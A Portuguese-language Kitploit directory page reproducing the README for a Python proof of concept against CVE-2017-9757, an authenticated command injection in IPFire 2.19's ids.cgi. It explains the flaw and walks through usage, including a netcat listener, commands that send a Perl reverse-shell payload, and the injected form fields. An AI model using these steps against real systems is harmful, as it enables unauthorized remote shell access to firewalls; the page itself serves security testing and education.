Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
IPFire_2.19_RCE_Authenticated — Este exploit é baseado no CVE-2017-9757 e foi construído sobre o exploit original de 0x09AL. | Kitploit
Ferramentas/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Este exploit é baseado no CVE-2017-9757 e foi construído sobre o exploit original de 0x09AL.

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
1há 13 diasAinda não revisado

PoC de RCE OINKCODE do IPFire 2.19

Prova de conceito em Python para a vulnerabilidade de injeção de comandos autenticada na página ids.cgi do IPFire 2.19, por meio do parâmetro OINKCODE.

Somente para testes de segurança autorizados e laboratórios de treinamento. Execute este PoC apenas contra sistemas que você possui ou para os quais tem permissão explícita de teste. O autor não é responsável pelo uso indevido ou danos causados por este código.

Visão geral da vulnerabilidade

O IPFire 2.19 é vulnerável a injeção de comandos do sistema operacional no parâmetro OINKCODE processado por /cgi-bin/ids.cgi. O parâmetro é incorporado a um comando shell sem a devida neutralização, permitindo que um usuário autenticado execute comandos no host IPFire.

A vulnerabilidade é comumente identificada como CVE-2017-9757 e mapeia para CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

O PoC público original foi testado contra o IPFire 2.19 Core Update 110. O módulo do Metasploit considera versões até o IPFire 2.19 com Core Update 110 dentro de sua faixa de verificação suportada.

Por que este PoC foi criado

O PoC Python original do Exploit-DB realiza uma requisição de verificação usando:

root@kitploit:~
OINKCODE = '`id`'

Em seguida, ele declara o alvo vulnerável somente se a resposta HTTP contiver:

root@kitploit:~
uid=99(nobody)

Essa validação não é confiável. O comando pode ser executado enquanto sua saída é consumida pelo comando shell construído pelo CGI, em vez de ser refletida na resposta HTML retornada ao cliente. Como resultado, o servidor pode retornar uma página HTTP 200 normal sem incluir a saída de id, produzindo um falso negativo.

Esta implementação segue a lógica de validação usada pelo módulo do Metasploit:

  1. Enviar requisição para /cgi-bin/pakfire.cgi com Autenticação Básica HTTP.
  2. Extrair a versão do IPFire e o Core Update da resposta.
  3. Tratar IPFire <= 2.19 e Core Update <= 110 como aparentemente vulneráveis.
  4. Enviar o payload de comando para /cgi-bin/ids.cgi no campo OINKCODE.
  5. Tratar uma resposta diferente de 200 como requisição rejeitada ou problema de autenticação.
  6. Não inspecionar o corpo HTML em busca de uid=99(nobody).

O PoC também usa um payload de shell de comando Perl, alinhado à família de payloads de comando suportada pelo módulo do Metasploit. Uma resposta HTTP bem-sucedida não prova, por si só, que o reverse shell se conectou; o listener e o caminho de rede também devem ser verificados.

Diferenças entre os exploits de origem

O critério de sucesso importante do módulo do Metasploit é que um código de resposta inesperado indica credenciais inválidas ou uma requisição rejeitada. Ele não exige que o corpo da resposta contenha a saída do comando injetado.

Requisitos

  • Python 3
  • requests
  • Credenciais válidas do IPFire com acesso à interface web
  • Um interpretador Perl no alvo, normalmente disponível como perl
  • Um listener acessível a partir do host IPFire

Instale a dependência Python:

root@kitploit:~
python3 -m pip install requests

Uso

1. Verificar somente a versão do alvo

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

A senha é solicitada interativamente quando --password não é fornecido. Isso é recomendado porque colocar uma senha diretamente em um comando pode expô-la por meio do histórico do shell ou da lista de processos.

2. Iniciar um listener

Use um listener no endereço e na porta fornecidos como --lhost e --lport:

root@kitploit:~
rlwrap nc -lvnp 4444

Se rlwrap não estiver instalado, use:

root@kitploit:~
nc -lvnp 4444

3. Enviar o payload de reverse shell Perl

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Para o certificado HTTPS autoassinado usual do IPFire, --insecure/-k é necessário. Use-o somente quando a verificação do certificado intencionalmente não for possível no laboratório.

URL completa em vez de host e porta

O alvo também pode ser fornecido como uma URL base completa:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Ignorar a identificação da versão

Use isto somente quando a versão do IPFire já tiver sido confirmada de forma independente:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Especificar um caminho diferente para o Perl

Se o Perl não estiver no PATH padrão do alvo, forneça o caminho absoluto dele:

root@kitploit:~
--perl-path /usr/bin/perl

Opções de linha de comando

Interpretando a saída

HTTP 200 de ids.cgi

Isso significa que a requisição HTTP foi aceita pelo CGI de acordo com o mesmo critério prático usado pelo módulo do Metasploit. Uma resposta HTML normal é esperada e não é prova de que a verificação de vulnerabilidade falhou.

Verifique o listener em busca do shell. Se nenhum shell chegar, investigue o endereço de callback, o roteamento, as regras de saída do firewall, a disponibilidade do Perl e a porta selecionada.

HTTP 401 ou HTTP 403

A requisição não foi autorizada. Verifique o nome de usuário, a senha, a URL do alvo, a porta e se a conta pode acessar a interface web do IPFire.

HTTP 404

A URL do alvo ou o caminho do CGI provavelmente está incorreto, ou o serviço não é a interface web esperada do IPFire.

Versão não reconhecida

O script não conseguiu encontrar a string de versão esperada em pakfire.cgi. Confirme o alvo manualmente antes de usar --skip-version-check.

Tempo limite da requisição após o envio do payload

O comando injetado pode manter a requisição CGI aberta enquanto tenta o callback. Trate isso como uma indicação para verificar o listener, não como prova definitiva de um shell.

Fluxo técnico da requisição

O script usa Autenticação Básica HTTP e envia os seguintes campos de formulário para ids.cgi:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

O comando é envolvido em crases porque o aplicativo vulnerável passa o valor de OINKCODE para um comando shell. O comportamento exato da requisição depende da versão do alvo e da configuração local.

Limitações

  • Isto é uma prova de conceito, não uma estrutura de exploração completa.
  • A verificação de versão é baseada no comportamento do módulo do Metasploit referenciado; não é uma garantia de que todo alvo com um banner correspondente seja explorável.
  • Uma resposta 200 confirma que a requisição foi aceita, não que o reverse shell alcançou o listener.
  • O payload Perl exige um interpretador Perl funcional e conectividade de rede do IPFire ao listener.
  • O script não tenta bypass de autenticação nem exploração de CSRF; esperam-se credenciais válidas.

Referências

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: Execução remota de código no IPFire 2.19
  • Exploit-DB 42369: Execução remota de código no IPFire < 2.19 Update Core 110
  • Módulo do Metasploit: ipfire_oinkcode_exec.rb
  • Payload de comando Perl do Metasploit
  • CWE-78: OS Command Injection

Atribuição

Este projeto é uma implementação educacional em Python baseada na pesquisa pública e na prova de conceito de 0x09AL, e no módulo do Metasploit mantido pela comunidade Metasploit. Não é afiliado ao IPFire, Exploit-DB ou Rapid7, nem endossado por eles.

Baixar ferramenta
CaracterísticaPoC Python Exploit-DB 42149Exploit-DB 42369 / MetasploitEste PoC
Endpoint vulnerável/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Verificação de versãoNenhumaGET /cgi-bin/pakfire.cgiMesma verificação no estilo Metasploit
AutenticaçãoAutenticação BásicaCabeçalho de Autenticação BásicaAutenticação Básica via requests.Session
Validação inicialExecuta `id` e procura no corpo da respostaVerifica a versão e depois envia o payloadVerifica a versão e usa o código de resultado HTTP
Risco de falso negativoAlto: depende de uid=99(nobody) ser refletidoEvita validação do conteúdo do corpoEvita validação do conteúdo do corpo
Reverse shellBash /dev/tcpPayload de comando Unix do MetasploitShell de comando Perl IO::Socket::INET
Tratamento de TLSVerificação de certificado desabilitada no PoCSSL habilitado por padrãoVerificação desabilitada somente com -k/--insecure
ConfiguraçãoValores são editados no código-fonteOpções do MetasploitArgumentos de linha de comando
OpçãoPadrãoDescrição
-t, --targetObrigatórioHost/IP alvo ou URL base completa
--schemehttpsEsquema usado quando o alvo é apenas um host/IP
--web-port444Porta da interface web do IPFire
-u, --usernameadminNome de usuário do IPFire
-p, --passwordPromptSenha; omita para digitá-la sem eco
--lhostObrigatórioEndereço do listener acessível a partir do IPFire
--lport4444Porta do listener
--perl-pathperlExecutável Perl no alvo
--timeout10Tempo limite de HTTP em segundos
-k, --insecureDesabilitadoDesabilita a verificação do certificado TLS
--skip-version-checkDesabilitadoIgnora a verificação do pakfire.cgi
--check-onlyDesabilitadoExecuta apenas a verificação de versão